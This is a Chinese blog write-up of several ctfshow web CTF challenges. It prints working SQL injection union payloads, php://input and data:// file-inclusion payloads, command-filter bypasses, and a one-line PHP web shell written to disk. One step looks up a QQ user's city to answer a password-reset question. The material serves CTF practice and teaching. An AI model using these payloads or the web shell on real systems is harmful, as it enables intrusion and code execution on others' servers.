ctfshow-web
CTFSHOW-WEB2
提醒是最简单的SQL注入,用户名输入a' or true #
使SQL恒成立。
输入a' or false #
发现用户名一栏上方为空,此时SQL代码恒不成立且SQL查不到用户信息所以为空。
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输;输入a' union select 1,database(),3 #
获取数据库web2中的表a' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 #
获取flaga' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name=0x666c6167),3 #
在这里,0x666c6167 是十六进制表示的字符串 "flag",因此子查询的目的是列出当前数据库中名为 flag 的表的所有列名。
查寻Flag a' union select 1,(select flag from flag),3 #
CTFSHOW-WEB3
第三关是一个文件包含漏洞, 推荐使用PHP://input伪协议进行任意代码执行
在url的参数中提交PHP伪协议?url=php://input
使用代理工具( Burp Suite)抓包, 在POST请求体中输入需要执行的PHP代码, 比如执行系统命令:查看当前目录下的文件<?php system('ls');?>
当前目录下有两个文件, 目测flag就在 ctf_go_go_go 文件中;接下来我们查看 ctf_go_go_go 文件, 获取 flag, url的参数中使用PHP伪协议?url=php://input
使用代理工具( Burp Suite)拦截请求, 在POST请求体中传递需要执行的PHP代码<?php system('cat ctf\_go\_go\_go');?>
,成功拿到flag。
CTFSHOW-WEB入门15
打开是一个音乐商城页面,根据提示我们去找公开的邮箱,果然,在首页最下方发现了公开的邮箱信息,如下
从而得知邮箱为qq邮箱,qq号为1156631961,接下来去qq看一下这个人的信息
可见此人目前现居西安,既然知道了这个信息,我们就要对这个信息进行使用,而大部分地名的作用可能仅仅只是找回密码等作用,那么接下来我们希望通过目录遍历来查找到相关信息。url/admin/
填上西安
成功得到flag
CTFSHOW-WEB入门16
题目描述:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
概念:php探针是一个查看服务器信息的工具,是用php语言编写的一个程序,是用来探测空间、服务器运行状况和PHP信息用的;它可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。 php探针可以用来查看服务器的状态。(就是一个上传到服务器后可以查看服务器状态的工具,上传之后访问指定页面就可以出现探针信息页面,常见的探针有下面几种)
一、雅黑PHP探针
雅黑PHP探针最大的优点是每秒更新,不用手动刷新网页,一般用于Linux操作系统的主机空间,如果是Windows系统的话,不建议使用。
探针信息页面:常见: 域名/tz.php
二、UPUPW PHP探针
UPUPW PHP探针功能也很强大,兼容PHP5-PHP7全部版本,能够智能判断对应版本切换显示不同组件信息,更适于用在在Windows操作系统当中。
探针信息页面:常见: 域名 /u.php
三、MyProber PHP探针
MyProber PHP探针适用于熟悉PHP编程的业余爱好者及专业开发人员、机房管理人员检测系统是否配置成功以及购买虚拟主机的站长用来查看服务器整体性能。
探针信息页面:常见 域名 /index.php
四、x-prober php探针
PHP探针网上有很多,但是X-prober适合“颜控第一的人士”,他的画面是真的好看
探针信息页面:常见 域名/x.php
这几个是比较主流的,因为题目说道了探针泄露,所以就拿这几个探针信息页面去尝试,成功出现了雅黑探针页面,如下
在里面也没找到flag,所以我们再看看php信息,即phpinfo ,点击其位置就可以跳转。
使用ctrl+f搜索flag,成功找到
CTFSHOW-WEB入门29
题目描述:命令执行,需要严格的过滤
此题利用传入的c参数来进行代码执行,不能算是严谨的命令执行。这里注意会对flag字符串进行匹配,只有不匹配上才会进行代码执行,这里需要绕过这个匹配。首先GET方式传入一个c变量,再用preg_match()函数执行一个正则表达式匹配,这个正则表达式匹配的意思就是当c中存在flag时就为真,所以这里的代码逻辑就是传入的c中不包含flag这个字符串时就将c变量的值作为命令执行,所以我们就要传入一个不包含“flag”字符串的php代码作为r的值传入,先看看当前文件夹下有什么文件,如下?c=system("ls");
这时,我们希望使用cat命令打开flag.php,但是我们发现并没有打开flag文件,由此可得我们需要绕过,浏览器有过滤
这时我们需要从网上找到其他方式绕过过滤打开文件,这是我从网上找到的几种方法
1、直接执行系统命令
?c=system("tac%20fla*");
利用tac与system结合,拿到flag,因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system("ls");
来查看到底在哪里。
2、内敛执行 (反字节符)
?c=echo%20tac%20fla*;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,反字节符,是键盘左上角与~在一起的那个。
3、利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
试一下,没问题,可以看到phpinfo的信息。 然后就使用?c=eval($_GET[1]);&1=system(ls);看一下当前目录都有什么,也可以?c=eval($_GET[1]);&1=system("ls%20/");看一下根目录都有什么。 注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的,所以结尾必须有分号。此外查看根目录时,必须用引号包裹,不太清楚原因,目前觉得因为system的参数必须是string。
4、利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
也可以尝试写入木马 file_put_contents("alb34t.php",%20%27<php%20eval($_POST["cmd"]);%20?>%27);
访问alb34t.php,然后就可以连马。
5、利用cp命令将flag拷贝到别处
?c=system("cp%20fl*g.php%20a.txt%20");
然后浏览器访问a.txt,读取即可。最后通过这几种方式,我们可以得到flag
CTFSHOW-WEB入门30
题目描述:命令执行,需要严格的过滤
看了一下代码,跟web29区别不大,只是多过滤了一个system和php,所以我们这也也要尝试绕过
首先就是system函数的绕过,因为执行命令的函数有很多,我们换成其他的就可以了,这里简单给大家列出来了一些命令执行的函数,如下system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号
这里我们换成passthru()函数试试,如下c=passthru(ls);
成功执行命令,接着就是php的过滤,也是直接用通配符就绕过了,如下?c=passthru("tac fla*****");
CTFSHOW-WEB入门31
我们可以看到这道题目,过滤了flag|system|php|cat|sort|shell|.| |'
我们可以尝试使用passthru来绕过对system的限制;使用%09来绕过对空格的限制;对小数点的限制可以使用通配符或者占位符?来绕过。
因为过滤了小数点.,所有无法使用cp命令来进行尝试。过滤了空格,可以使用%09替代;也可以使用{$IFS},还有pos(localeconv)来获取小数点的方法。
我们先来找一下flag在哪里。 ?c=passthru('ls'); 然后尝试拿flag,发现flag被过滤了,php也被过滤了。cat命令也被过滤了。 cat被过滤可以用tac绕过。
flag可以用fla?c=passthru("tac%09fla*");
注意这里使用双引号。单引号不行,因为它就是字面意思,%09不会被解释为空格。单引号串和双引号串在PHP中的处理是不相同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。
有以下四种方法:
方法1:使用eval嵌套。具体参数:passthru 结合%09
其中%09绕过空格?c=eval($_GET[1]);&1=passthru("tac%09fla*");
这里需要注意括号的闭合,&的连接。
方法2:使用参数:passthru结合 $IFS$9,其中$IFS$9绕过空格,注意转义$符号?c=eval($_GET[1]);&1=passthru("tac\$IFS\$9fla*");
方法3:使用未被过滤的命令。passthru直接读取
?c=passthru(%22tac$IFS$9fla*%22);
也就是passthru("tac\$IFS\$9fla*");
方法4:使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。?c=print_r(scandir(pos(localeconv())));
可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
CTFSHOW-WEB入门78
include包含,直接用伪协议就可以。
理解
if(isset($_GET['file'])){
这行代码检查$_GET['file']是否已经设置。$_GET是PHP中用于获取GET请求参数的数组。isset()函数用来检查变量是否已设置并且非NULL。
$file = $_GET['file'];
如果$_GET['file']存在,这行代码将其值赋给变量$file。这意味着用户可以通过URL传递一个名为file的参数来指定一个文件名。
include($file);
这行代码使用include语句来包含并执行变量$file中指定的文件。这可能导致执行任意代码,如果用户能够控制$file的值。
}else{
这是一个else语句,与上面的if语句配对。如果$_GET['file']没有被设置,那么将执行else块中的代码。
highlight_file(FILE);
这行代码调用highlight_file()函数,它输出当前文件的源代码,并使用HTML格式化和颜色高亮显示。__FILE__是一个魔术常量,它返回当前文件的完整路径。
首先,这段代码是在检查用户通过网址发送过来的一个叫file的东西。你可以把file想象成一个指向某个文件的名字或路径。如果用户确实发送了file这个信息,PHP代码就会把这个信息存储到变量$file里。然后,它会尝试找到这个文件,并且包含(或者说“执行”)里面的内容。这就好比你告诉电脑:“嘿,去书架上找到这本书,然后读给我听。”但是,如果用户没有发送file这个信息,PHP代码就会执行另一套操作。它会显示当前这个PHP文件的内容。这有点像,如果没人告诉你要拿哪本书,它就会说:“好吧,那我就读读我自己的说明书给你听。”
data伪协议
?file=data://text/plain,<?php system("ls")?>
使用ls寻找文件位置
?file=data://text/plain,<?php system("tac flag.php")?>
使用tac指令进行对flag文件的打开,经测试没有对tac指令有进行过滤。
得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通